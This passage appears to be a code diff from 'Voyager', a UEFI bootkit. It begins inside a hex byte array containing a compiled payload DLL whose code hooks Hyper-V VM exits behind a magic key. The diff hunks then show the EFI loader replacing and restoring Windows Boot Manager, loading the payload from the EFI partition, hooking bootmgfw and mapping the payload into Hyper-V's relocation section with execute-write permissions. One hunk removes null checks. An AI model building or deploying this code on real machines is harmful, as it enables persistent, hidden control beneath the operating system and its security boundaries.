0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x0E, 0x1B, 0x00, 0x02, 0x00, 0x00, return EFI_ABORTED;
0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, }
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x60, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x60, 0x2D, 0x00, 0x00,
0x01, 0x00, 0x60, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0x20, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48,
0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x65, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x54, 0x24, 0x10, 0x48, 0x89, 0x4C,
0x24, 0x08, 0x48, 0x83, 0xEC, 0x58, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48,
0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xB8, 0x02, 0x44, 0x00, 0x00,
0x0F, 0x78, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7C, 0x24, 0x28, 0x0A, 0x75,
0x4F, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x48, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE,
0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0x39, 0x48, 0x08, 0x75, 0x3A, 0x48, 0x8B,
0x44, 0x24, 0x20, 0x48, 0xC7, 0x00, 0xEE, 0xFF, 0xC0, 0x00, 0xB8, 0x1E,
0x68, 0x00, 0x00, 0x0F, 0x78, 0x44, 0x24, 0x38, 0xB8, 0x0C, 0x44, 0x00,
0x00, 0x0F, 0x78, 0x44, 0x24, 0x30, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48,
0x8B, 0x4C, 0x24, 0x38, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0xB9, 0x1E,
0x68, 0x00, 0x00, 0x0F, 0x79, 0xC8, 0xEB, 0x21, 0x48, 0x8D, 0x05, 0x7D,
0xFF, 0xFF, 0xFF, 0x48, 0x2B, 0x05, 0x76, 0x1F, 0x00, 0x00, 0x48, 0x89,
0x44, 0x24, 0x40, 0x48, 0x8B, 0x54, 0x24, 0x68, 0x48, 0x8B, 0x4C, 0x24,
0x60, 0xFF, 0x54, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x58, 0xC3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0x77, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x38, 0x20, 0x00, 0x00,
0x38, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0x77, 0x5F,
0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
0x94, 0x20, 0x00, 0x00, 0x94, 0x06, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53,
0x29, 0x18, 0x5B, 0x58, 0xF1, 0x50, 0x02, 0x48, 0x86, 0x42, 0x02, 0x28,
0xE8, 0x50, 0x11, 0x93, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55,
0x73, 0x65, 0x72, 0x73, 0x5C, 0x78, 0x65, 0x72, 0x6F, 0x78, 0x5C, 0x44,
0x65, 0x73, 0x6B, 0x74, 0x6F, 0x70, 0x5C, 0x76, 0x6F, 0x79, 0x61, 0x67,
0x65, 0x72, 0x5C, 0x56, 0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x2D, 0x31,
0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, 0x73, 0x65,
0x5C, 0x50, 0x61, 0x79, 0x4C, 0x6F, 0x61, 0x64, 0x2E, 0x70, 0x64, 0x62,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0xA2, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x38, 0x20, 0x00, 0x00,
0xDC, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A,
0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x14, 0x21, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x62, 0x73, 0x73,
0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,
0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00,
0x60, 0x00, 0x00, 0x00, 0x2E, 0x65, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,
0x02, 0x0E, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, 0x0E, 0xA2, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x32, 0x50, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x50, 0x00, 0x00,
0x2C, 0x50, 0x00, 0x00, 0x30, 0x50, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00,
0x3E, 0x50, 0x00, 0x00, 0x00, 0x00, 0x50, 0x61, 0x79, 0x4C, 0x6F, 0x61,
0x64, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x3F, 0x76, 0x6F, 0x79, 0x61, 0x67,
0x65, 0x72, 0x5F, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x40, 0x40,
0x33, 0x55, 0x5F, 0x76, 0x6F, 0x79, 0x61, 0x67, 0x65, 0x72, 0x5F, 0x74,
0x40, 0x40, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

@ -1,17 +1,22 @@
#pragma once #pragma once
#include "Utils.h" #include "Utils.h"
extern unsigned char PayLoad[3072]; #include <Library/ShellLib.h>
extern VOID* PayLoad;
#pragma pack(push, 1) #pragma pack(push, 1)
typedef struct _voyager_t typedef struct _VOYAGER_T
{ {
UINT64 VmExitHandlerRva; UINT64 VmExitHandlerRva;
UINT64 HypervModuleBase; UINT64 HypervModuleBase;
UINT64 HypervModuleSize; UINT64 HypervModuleSize;
UINT64 ModuleBase; UINT64 ModuleBase;
UINT64 ModuleSize; UINT64 ModuleSize;
} voyager_t, * pvoyager_t; } VOYAGER_T, *PVOYAGER_T;
#pragma pack(pop) #pragma pack(pop)
#define WINDOWS_BOOTMGFW_PATH L"\\efi\\microsoft\\boot\\bootmgfw.efi"
#define PAYLOAD_PATH L"\\efi\\microsoft\\boot\\payload.dll"
UINT32 PayLoadSize(VOID); UINT32 PayLoadSize(VOID);
EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr);
VOID* PayLoadEntry(VOID* ModuleBase); VOID* PayLoadEntry(VOID* ModuleBase);

@ -1,41 +1,62 @@
#include "BootMgfw.h" #include "BootMgfw.h"
#include "SplashScreen.h" #include "SplashScreen.h"
CHAR8* gEfiCallerBaseName = "Voyager"; CHAR8* gEfiCallerBaseName = "Voyager 1";
const UINT32 _gUefiDriverRevision = 0x200; const UINT32 _gUefiDriverRevision = 0x200;
EFI_STATUS EFIAPI UefiUnload( EFI_STATUS EFIAPI UefiUnload(EFI_HANDLE ImageHandle)
IN EFI_HANDLE ImageHandle
)
{ {
return EFI_SUCCESS; return EFI_SUCCESS;
} }
EFI_STATUS EFIAPI UefiMain EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE* SystemTable
)
{ {
EFI_STATUS Result; EFI_STATUS Result;
EFI_DEVICE_PATH_PROTOCOL* BootMgfwPath; EFI_HANDLE BootMgfwHandle;
gST->ConOut->ClearScreen(gST->ConOut); gST->ConOut->ClearScreen(gST->ConOut);
gST->ConOut->OutputString(gST->ConOut, AsciiArt); gST->ConOut->OutputString(gST->ConOut, AsciiArt);
Print(L"\n"); Print(L"\n");
// since we replaced bootmgfw on disk, we are going to need to restore the image back
// this is simply just moving bootmgfw.efi.backup to bootmgfw.efi...
if (EFI_ERROR((Result = RestoreBootMgfw()))) if (EFI_ERROR((Result = RestoreBootMgfw())))
{ {
Print(L"unable to restore bootmgfw... reason -> %r\n", Result); Print(L"unable to restore bootmgfw... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result;
}
// the payload is sitting on disk... we are going to load it into memory...
if (EFI_ERROR((Result = LoadPayLoadFromDisk(&PayLoad))))
{
Print(L"failed to read payload from disk... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
if (EFI_ERROR((Result = InstallBootMgfwHooks(ImageHandle)))) EFI_DEVICE_PATH* BootMgfwPath = GetBootMgfwPath();
if (EFI_ERROR((Result = gBS->LoadImage(TRUE, ImageHandle, BootMgfwPath, NULL, NULL, &BootMgfwHandle))))
{
Print(L"failed to load bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
if (EFI_ERROR((Result = InstallBootMgfwHooks(BootMgfwHandle))))
{ {
Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result); Print(L"Failed to install bootmgfw hooks... reason -> %r\n", Result);
gBS->Stall(5 * 1000000);
return Result; return Result;
} }
if (EFI_ERROR(gBS->StartImage(BootMgfwHandle, NULL, NULL)))
{
Print(L"Failed to start bootmgfw.efi...\n");
gBS->Stall(5 * 1000000);
return EFI_ABORTED;
}
gBS->Stall(5 * 1000000); gBS->Stall(5 * 1000000);
return EFI_SUCCESS; return EFI_SUCCESS;
} }

@ -1,6 +1,6 @@
#pragma once #pragma once
#include "ShitHook.h" #include "ShitHook.h"
#define WINVER 2004 #define WINVER 1709
#define PORT_NUM 0x2F8 #define PORT_NUM 0x2F8
#define BL_MEMORY_ATTRIBUTE_RWX 0x424000 #define BL_MEMORY_ATTRIBUTE_RWX 0x424000
#define SECTION_RWX (EFI_IMAGE_SCN_MEM_READ | EFI_IMAGE_SCN_MEM_WRITE | EFI_IMAGE_SCN_MEM_EXECUTE) #define SECTION_RWX (EFI_IMAGE_SCN_MEM_READ | EFI_IMAGE_SCN_MEM_WRITE | EFI_IMAGE_SCN_MEM_EXECUTE)

@ -132,6 +132,8 @@
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<ExceptionHandling>SyncCThrow</ExceptionHandling> <ExceptionHandling>SyncCThrow</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>Disabled</Optimization>
<InlineFunctionExpansion>Disabled</InlineFunctionExpansion>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>EFI Application</SubSystem> <SubSystem>EFI Application</SubSystem>
@ -150,13 +152,15 @@
<ClCompile> <ClCompile>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>true</SDLCheck> <SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<ExceptionHandling>SyncCThrow</ExceptionHandling> <ExceptionHandling>SyncCThrow</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>Disabled</Optimization>
<InlineFunctionExpansion>Disabled</InlineFunctionExpansion>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>EFI Application</SubSystem> <SubSystem>EFI Application</SubSystem>

@ -48,7 +48,7 @@ EFI_STATUS EFIAPI BlLdrLoadImage(VOID* Arg1, CHAR16* ModulePath, CHAR16* ModuleN
{ {
if (!AsciiStrCmp(&pSection->Name, ".reloc")) if (!AsciiStrCmp(&pSection->Name, ".reloc"))
{ {
voyager_t VoyagerData; VOYAGER_T VoyagerData;
MakeVoyagerData MakeVoyagerData
( (
&VoyagerData, &VoyagerData,
@ -62,17 +62,12 @@ EFI_STATUS EFIAPI BlLdrLoadImage(VOID* Arg1, CHAR16* ModulePath, CHAR16* ModuleN
DBG_PRINT(".reloc section end (aka golden record base address) -> 0x%p\n", TableEntry->ModuleBase + pSection->VirtualAddress + pSection->Misc.VirtualSize); DBG_PRINT(".reloc section end (aka golden record base address) -> 0x%p\n", TableEntry->ModuleBase + pSection->VirtualAddress + pSection->Misc.VirtualSize);
VOID* VmExitHook = MapModule(&VoyagerData, PayLoad); VOID* VmExitHook = MapModule(&VoyagerData, PayLoad);
if (!VmExitHook)
return Result;
VOID* VmExitFunction = HookVmExit VOID* VmExitFunction = HookVmExit
( (
VoyagerData.HypervModuleBase, VoyagerData.HypervModuleBase,
VoyagerData.HypervModuleSize, VoyagerData.HypervModuleSize,
VmExitHook VmExitHook
); );
if (!VmExitFunction)
return Result;
pSection->Characteristics = SECTION_RWX; pSection->Characteristics = SECTION_RWX;
pSection->Misc.VirtualSize += PayLoadSize(); pSection->Misc.VirtualSize += PayLoadSize();

@ -131,6 +131,49 @@ EFI_STATUS EFIAPI RestoreBootMgfw(VOID)
return EFI_ABORTED; return EFI_ABORTED;
} }
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID)
{
UINTN HandleCount = NULL;
EFI_STATUS Result;
EFI_HANDLE* Handles = NULL;
EFI_DEVICE_PATH* DevicePath = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE BootMgfwHandle;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return DevicePath;
}
for (UINT32 Idx = 0u; Idx < HandleCount && !FileSystem; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return DevicePath;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return DevicePath;
}
if (!EFI_ERROR(VolumeHandle->Open(VolumeHandle, &BootMgfwHandle, WINDOWS_BOOTMGFW_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY)))
DevicePath = FileDevicePath(Handles[Idx], WINDOWS_BOOTMGFW_PATH);
VolumeHandle->Close(BootMgfwHandle);
if (EFI_ERROR((Result = gBS->CloseProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, gImageHandle, NULL))))
{
Print(L"error closing protocol -> 0x%p\n", Result);
return DevicePath;
}
}
return DevicePath;
}
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle) EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle)
{ {
EFI_STATUS Result = EFI_SUCCESS; EFI_STATUS Result = EFI_SUCCESS;

@ -24,5 +24,6 @@ static_assert(sizeof(START_BOOT_APPLICATION_SIG) == sizeof(START_BOOT_APPLICATIO
extern SHITHOOK BootMgfwShitHook; extern SHITHOOK BootMgfwShitHook;
typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*); typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*);
